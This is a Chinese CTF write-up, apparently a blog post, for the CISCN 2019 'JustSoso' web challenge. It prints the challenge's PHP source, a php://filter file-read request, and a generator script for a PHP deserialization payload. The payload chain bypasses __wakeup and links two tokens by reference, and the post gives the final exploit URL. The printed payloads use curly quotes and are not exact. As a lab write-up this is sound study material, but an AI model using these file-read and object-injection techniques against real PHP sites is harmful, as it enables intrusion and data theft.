ciscn2019部分writeup

本文详细解析PHP序列化与反序列化过程中的安全漏洞,通过具体实例演示如何利用这一漏洞获取flag,包括代码审计、绕过防御机制及最终的漏洞利用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Web

1、JustSoso
拿到源码

打开靶机,查看源码得到提示:
在这里插入图片描述
一看就是文件读取,然后就文件读取走一波。
file=php://filter/read=convert.base64-encode/resource=hint.php
base64解码拿到hint.php的源码:

<?php
    class Handle{
        private $handle;
        public function __wakeup(){
            foreach(get_object_vars($this) as $k => $v) {
                $this->$k = null;
            }
            echo "Waking up\n";
        }
        public function __construct($handle) {
            $this->handle = $handle;
        }
        public function __destruct(){
            $this->handle->getFlag();
        }
    }

    class Flag{
        public $file;
        public $token;
        public $token_flag;

        function __construct($file){
            $this->file = $file;
            $this->token_flag = $this->token = md5(rand(1,10000));
        }

        public function getFlag(){
            $this->token_flag = md5(rand(1,10000));
            if($this->token === $this->token_flag)
            {
                if(isset($this->file)){
                    echo @highlight_file($this->file,true);
                }
            }
        }
    }
    ?>

我们已知的页面还有index.php,再读出index.php的源码:

<html>
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    $payload = $_GET["payload"];
    if(!isset($file)){
        echo 'Missing parameter'.'<br>';
    }
    if(preg_match("/flag/",$file)){
        die('hack attacked!!!');
    }
    @include($file);
    if(isset($payload)){
        $url = parse_url($_SERVER['REQUEST_URI']);
        parse_str($url['query'],$query);
        foreach($query as $value){
            if (preg_match("/flag/",$value)) {
                die('stop hacking!');
                exit();
            }
        }
        $payload = unserialize($payload);
    }else{
       echo "Missing parameters";
    }
    ?>
    <!--Please test index.php?file=xxx.php -->
    <!--Please get the source of hint.php-->
    </html>

大致看下,拿flag应该是在hint.php的Flag类中getFlag()的echo @highlight_file($this->file,true)这里,然后审计代码找解决问题的方法。

代码审计

index中最后会进行反序列化,我们要利用序列化的漏洞。
include($file),因为类都在hint.php中,file参数中也被过滤flag字符串,所以这个$file就是hint.php了;然后考虑payload,拿flag的时候要调用getFlag函数用@highlight_file来显示源码,那么flag就可能是在flag.php中了,那么就要考虑绕过parse_url和正则匹配,然后才能进行反序列化。
parse_url和正则匹配的绕过参考:
进行反序列化后,由于在Handle中可以调用getFlag函数,由于__wakeup()会把参数内容置空,所以要绕过Handle中的__wakeup(),修改类的属性即可(参考:https://blog.youkuaiyun.com/zz_Caleb/article/details/89361250),绕过__wakeup()之后在类的声明周期结束时调用析构函数,从而调用getFlag()函数。
在getFlag()函数中唯一的障碍就是$this->token === $this->token_flag,这里可以用一个引用把两者关联起来。

漏洞利用

使用一下代码生成payload:

<?php
class Handle{
    private $handle;
    public function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) {
        $this->handle = $handle;
    }
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true);
            }
        }
    }
}

$f = new Flag("flag.php");
$f->token = &$f->token_flag;
$hand = new Handle($f);
print_r(serialize($hand));
?>

生成:
O:6:“Handle”:1:{s:14:“Handlehandle”;O:4:“Flag”:3:{s:4:“file”;s:8:“flag.php”;s:5:“token”;s:32:“3dde11a7673e90ad96fafd0b3b27a477”;s:10:“token_flag”;R:4;}}

最终构造
///?file=hint.php&payload=O:6:“Handle”:2:{s:14:“Handlehandle”;O:4:“Flag”:3:{s:4:“file”;s:8:“flag.php”;s:5:“token”;s:32:“3dde11a7673e90ad96fafd0b3b27a477”;s:10:“token_flag”;R:4;}}
(记得要修改Handle类的属性的)
访问即得flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值